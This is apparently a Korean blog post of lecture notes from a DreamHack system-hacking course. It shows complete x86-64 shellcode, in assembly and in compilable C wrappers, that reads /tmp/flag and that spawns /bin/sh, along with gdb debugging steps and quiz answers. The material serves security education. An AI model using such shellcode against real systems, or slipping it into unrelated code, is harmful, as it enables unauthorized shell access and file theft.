Lecture
orw 셸코드
orw 셸코드 작성
- 파일을 열고, 읽은 뒤 화면에 출력해주는 셸코드이다.
// /tmp/flag를 읽는 셸코드
// C언어 형식의 의사코드
char buf[0x30];
int fd = open("/tmp/flag", RD_ONLY, NULL);
read(fd, buf, 0x30);
write(1, buf, 0x30);
- orw 셸코드를 작성하기 위해 필요한 syscall은 아래와 같다.
syscall | rax | arg0 (rdi) | arg1 (rsi) | arg2 (rdx) |
read | 0x00 | unsigned int fd | char *buf | size_t count |
write | 0x01 | unsigned int fd | const char *buf | size_t count |
open | 0x02 | const char *filename | int flags | umode_t mode |
- 위의 의사코드를 어셈블리로 구현해보자.
1. int fd = open("/tmp/flag", O_RDONLY, NULL)
syscall | rax | arg0 (rdi) | arg1 (rsi) | arg2 (rdx) |
open | 0x02 | const char *filename | int flags | umode_t mode |
- 첫 번째로, "/tmp/flag"라는 문자열을 메모리에 위치시켜야 한다. 이를 위해 스택에 0x616c662f706d742f67(/tmp/flag)를 push한다. 그리고 rdi가 이를 가리키도록 rsp를 rdi로 옮긴다.
- O_RDONLY는 0이므로 rsi는 0으로 설정한다.
// https://code.woboq.org/userspace/glibc/bits/fcntl.h.html#24
/* File access modes for `open' and `fcntl'. */
#define O_RDONLY 0 /* Open read-only. */
#define O_WRONLY 1 /* Open write-only. */
#define O_RDWR 2 /* Open read/write. */
- 파일을 읽을 때 mode는 의미 없기 때문에 rdx는 0으로 한다.
- rax는 open의 syscall값인 2로 설정한다.
push 0x67
mov rax, 0x616c662f706d742f
push rax
mov rdi, rsp ; rdi = "/tmp/flag"
xor rsi, rsi ; rsi = 0 ; RD_ONLY
xor rdx, rdx ; rdx = 0
mov rax, 2 ; rax = 2 ; syscall_open
syscall ; open("/tmp/flag", RD_ONLY, NULL)
2. read(fd, buf, 0x30)
syscall | rax | arg0 (rdi) | arg1 (rsi) | arg2 (rdx) |
read | 0x00 | unsigned int fd | char *buf | size_t count |
- syscall의 리턴값은 rax에 저장된다. 따라서 open으로 획득한 /tmp/flag의 fd는 rax에 저장된다.
- rax를 rdi에 대입한다.
- rsi는 파일에서 읽은 데이터를 저장할 주소를 가리킨다. 0x30만큼 읽을 것 이기 때문에 rsp-0x30을 대입한다.
- rdx는 파일로부터 읽어낼 데이터의 길이이다. 0x30으로 설정한다.
- read의 syscall을 호출하기 위해 rax를 0으로 설정한다.
mov rdi, rax ; rdi = fd
mov rsi, rsp
sub rsi, 0x30 ; rsi = rsp-0x30 ; buf
mov rdx, 0x30 ; rdx = 0x30 ; len
mov rax, 0x0 ; rax = 0 ; syscall_read
syscall ; read(fd, buf, 0x30)
fd?
- 파일 서술자(File Descriptor, fd)는 유닉스 계열의 운영체제에서 파일에 접근하는 소프트웨어에 제공하는 가상의 접근 제어자이다. 프로세스마다 고유의 서술자 테이블을 갖고 있으며, 그 안에 여러 파일 서술자를 저장한다. 서술자 각각은 번호로 구별되는데, 일반적으로 0번은 일반 입력(Standard Input, STDIN), 1번은 일반 출력(Standard Output, STDOUT), 2번은 일반 오류(standard Error, STDERR)에 할당되어있으며, 이들은 프로세스를 터미널과 연결해준다. 그래서 우리는 키보드 입력을 통해 프로세스에 입력을 전달하고, 출력을 터미널로 받아볼 수 있다.
3. write(1, buf, 0x30)
syscall | rax | arg0 (rdi) | arg1 (rsi) | arg2 (rdx) |
write | 0x01 | unsigned int fd | const char *buf | size_t count |
- 출력은 stdout으로 할 것 이기 때문에, rdi를 0x1로 설정한다.
- rsi와 rdx는 read에서 사용한 값을 그대로 사용한다.
- write의 syscall호출을 위해 rax를 1로 설정한다.
mov rdi, 1 ; rdi = 1 ; fd = stdout
mov rax, 0x1 ; rax = 1 ; syscall_write
syscall ; write(fd, buf, 0x30)
위의 내용을 종합하면 다음과 같다.
;Name: orw.S
push 0x67
mov rax, 0x616c662f706d742f
push rax
mov rdi, rsp ; rdi = "/tmp/flag"
xor rsi, rsi ; rsi = 0 ; RD_ONLY
xor rdx, rdx ; rdx = 0
mov rax, 2 ; rax = 2 ; syscall_open
syscall ; open("/tmp/flag", RD_ONLY, NULL)
mov rdi, rax ; rdi = fd
mov rsi, rsp
sub rsi, 0x30 ; rsi = rsp-0x30 ; buf
mov rdx, 0x30 ; rdx = 0x30 ; len
mov rax, 0x0 ; rax = 0 ; syscall_read
syscall ; read(fd, buf, 0x30)
mov rdi, 1 ; rdi = 1 ; fd = stdout
mov rax, 0x1 ; rax = 1 ; syscall_write
syscall ; write(fd, buf, 0x30)
orw 셸코드 컴파일 및 실행
- 셸코드를 실행할 수 있는 스켈레톤 코드를 C언어로 작성하고, 거기에 셸코드를 탑재하는 방법을 사용한다.
- 스켈레톤 코드는 핵심 내용이 비어있는, 기본 구조만 갖춘 코드이다.
- 이 스켈레톤 코드에 앞서 작성한 셸코드를 채워서 사용한다.
// File name: sh-skeleton.c
// Compile Option: gcc -o sh-skeleton sh-skeleton.c -masm=intel
__asm__(
".global run_sh\n"
"run_sh:\n"
"Input your shellcode here.\n"
"Each line of your shellcode should be\n"
"seperated by '\n'\n"
"xor rdi, rdi # rdi = 0\n"
"mov rax, 0x3c # rax = sys_exit\n"
"syscall # exit(0)");
void run_sh();
int main() { run_sh(); }
;Name: orw.S
push 0x67
mov rax, 0x616c662f706d742f
push rax
mov rdi, rsp ; rdi = "/tmp/flag"
xor rsi, rsi ; rsi = 0 ; RD_ONLY
xor rdx, rdx ; rdx = 0
mov rax, 2 ; rax = 2 ; syscall_open
syscall ; open("/tmp/flag", RD_ONLY, NULL)
mov rdi, rax ; rdi = fd
mov rsi, rsp
sub rsi, 0x30 ; rsi = rsp-0x30 ; buf
mov rdx, 0x30 ; rdx = 0x30 ; len
mov rax, 0x0 ; rax = 0 ; syscall_read
syscall ; read(fd, buf, 0x30)
mov rdi, 1 ; rdi = 1 ; fd = stdout
mov rax, 0x1 ; rax = 1 ; syscall_write
syscall ; write(fd, buf, 0x30)
// File name: orw.c
// Compile: gcc -o orw orw.c -masm=intel
__asm__(
".global run_sh\n"
"run_sh:\n"
"push 0x67\n"
"mov rax, 0x616c662f706d742f \n"
"push rax\n"
"mov rdi, rsp # rdi = '/tmp/flag'\n"
"xor rsi, rsi # rsi = 0 ; RD_ONLY\n"
"xor rdx, rdx # rdx = 0\n"
"mov rax, 2 # rax = 2 ; syscall_open\n"
"syscall # open('/tmp/flag', RD_ONLY, NULL)\n"
"\n"
"mov rdi, rax # rdi = fd\n"
"mov rsi, rsp\n"
"sub rsi, 0x30 # rsi = rsp-0x30 ; buf\n"
"mov rdx, 0x30 # rdx = 0x30 ; len\n"
"mov rax, 0x0 # rax = 0 ; syscall_read\n"
"syscall # read(fd, buf, 0x30)\n"
"\n"
"mov rdi, 1 # rdi = 1 ; fd = stdout\n"
"mov rax, 0x1 # rax = 1 ; syscall_write\n"
"syscall # write(fd, buf, 0x30)\n"
"\n"
"xor rdi, rdi # rdi = 0\n"
"mov rax, 0x3c # rax = sys_exit\n"
"syscall # exit(0)");
void run_sh();
int main() { run_sh(); }
orw 셸코드 디버깅
- orw를 gdb로 연다.
- run_sh()함수에 브레이크 포인트를 설정한다.
- run으로 run_sh()함수의 시작부분까지 코드를 실행시킨다.
이제 앞서 우리가 작성한 것들이 잘 작동하는지 확인해보자.
1. int fd = open("/tmp/flag", O_RDONLY, NULL)
- 첫 번째 syscall까지 진행했을 때, pwndbg플러그인은 인자를 분석해준다. 셸코드 작성시 계획한 것 처럼, open("/tmp/flag", O_RDONLY, NULL)이 실행됨을 알 수 있다.
- open syscall수행 결과로 /tmp/flag의 fd(3)가 rax에 저장된다.
2. read(fd, buf, 0x30)
- 두 번째 syscall까지 실행 후 확인해보면, 새로 할당한 /tmp/flag의 fd(3)에서 데이터를 0x30바이트만큼 읽어서 0x7ffffffffc278에 저장한다.
- 실행 결과를 x/s 0x7ffffffffc278로 확인해보자.
3. write(1, buf, 0x30)
- syscall까지 실행해보면, 0x7fffffffc278에서 48바이트를 출력한다.
Uninitialized Memory
아까전, 48바이트 중 앞의 40바이트만 우리가 저장한 파일의 데이터이다. 그렇다면 뒤의 8바이트는 무엇일까? 이 데이터는 스택 사용에서 발생한다. 스택은 다양한 함수들이 공유하는 메모리 자원이다. 각 함수가 자신들의 스택 프레임을 할당해서 사용하고, 종료될 때 해제한다. 그런데 스택에서 해제라 함은, 0으로 초기화 하는것이 아니라 단순히 rsp와 rbp를 호출한 함수의 것으로 이동하는것을 말한다. 따라서, 어떤 함수를 해제한 이후, 다른 함수가 스택 프레임을 그 위에 할당하면, 이전 스택 프레임의 데이터는 여전히 남아있게 된다. 이를 쓰레기 값이라 부르고, 위의 8바이트가 이것이다.
이런것을 이용하여 중요한 값을 유출해 내는 것을 메모리 릭(Memory Leak)이라고 부른다.
execve 셸코드
execve 셸코드
- 셸(Shell, 껍질)이란 운영체제에 명령을 내리기 위해 사용되는 사용자 인터페이스이다.
- execve 셸코드는 임의의 프로그램을 실행하는 셸코드인데, 이를 이용하면 서버의 셸을 획득할 수 있다.
execve("/bin/sh", null, null)
- execve 셸코드는 execve 시스템 콜만으로 이루어진다.
syscall | rax | arg0 (rdi) | arg1 (rsi) | arg2 (rdx) |
execve | 0x3b | const char *filename | const char *const *argv | const char *const *envp |
- argv: 실행파일에 넘겨줄 인자
- envp: 환경변수
- 지금 여기에서는 sh만 실행하면 되기 때문에 다른 값들은 전부 null로 설정해줘도 된다.
;Name: execve.S
mov rax, 0x68732f6e69622f
push rax
mov rdi, rsp ; rdi = "/bin/sh\x00"
xor rsi, rsi ; rsi = NULL
xor rdx, rdx ; rdx = NULL
mov rax, 0x3b ; rax = sys_execve
syscall ; execve("/bin/sh", null, null)
execve 셸코드 컴파일 및 실행
- 앞에서 사용한 스켈레톤 코드를 이용해 셸코드를 컴파일 하자.
// File name: execve.c
// Compile Option: gcc -o execve execve.c -masm=intel
__asm__(
".global run_sh\n"
"run_sh:\n"
"mov rax, 0x68732f6e69622f\n"
"push rax\n"
"mov rdi, rsp # rdi = '/bin/sh'\n"
"xor rsi, rsi # rsi = NULL\n"
"xor rdx, rdx # rdx = NULL\n"
"mov rax, 0x3b # rax = sys_execve\n"
"syscall # execve('/bin/sh', null, null)\n"
"xor rdi, rdi # rdi = 0\n"
"mov rax, 0x3c # rax = sys_exit\n"
"syscall # exit(0)");
void run_sh();
int main() { run_sh(); }
- 실행 결과
- 디버깅 과정은 orw와 동일하므로 생략.
objdump를 이용한 shellcode 추출
- shellcode를 byte code(opcode)의 형태로 추출하는 방법을 알아보자.
step1
step2
Note
Q. stderr의 번호는?
A. 2
Q. stdin의 번호는?
A. 0
Q. stdout의 번호는?
A. 1
Q. 다음 빈칸 (a), (b)를 채우시오.
pwndbg> x/s 0x7fffffffc278
"/bin/sh\x00"
mov rdi, (a)
xor rsi, rsi
xor rdx, rdx
mov rax, (b)
syscall
A. (a) = 0x7fffffffc278, (b) = 0x3b
'문제 풀이 > [DreamHack]' 카테고리의 다른 글
[DreamHack] System Hacking Stage3 - Tool: pwntools 설치 (1) | 2022.12.21 |
---|---|
[DreamHack] System Hacking Stage3 - Tool: gdb 설치 (0) | 2022.12.21 |
[DreamHack] System Hacking Stage2 - Quiz: x86 Assembly 2 (0) | 2022.12.20 |
[DreamHack] System Hacking Stage2 - Quiz: x86 Assembly 1 (0) | 2022.12.20 |
[DreamHack] SystemHacking Stage2 - x86 Assembly: Essential Part 2 (0) | 2022.12.20 |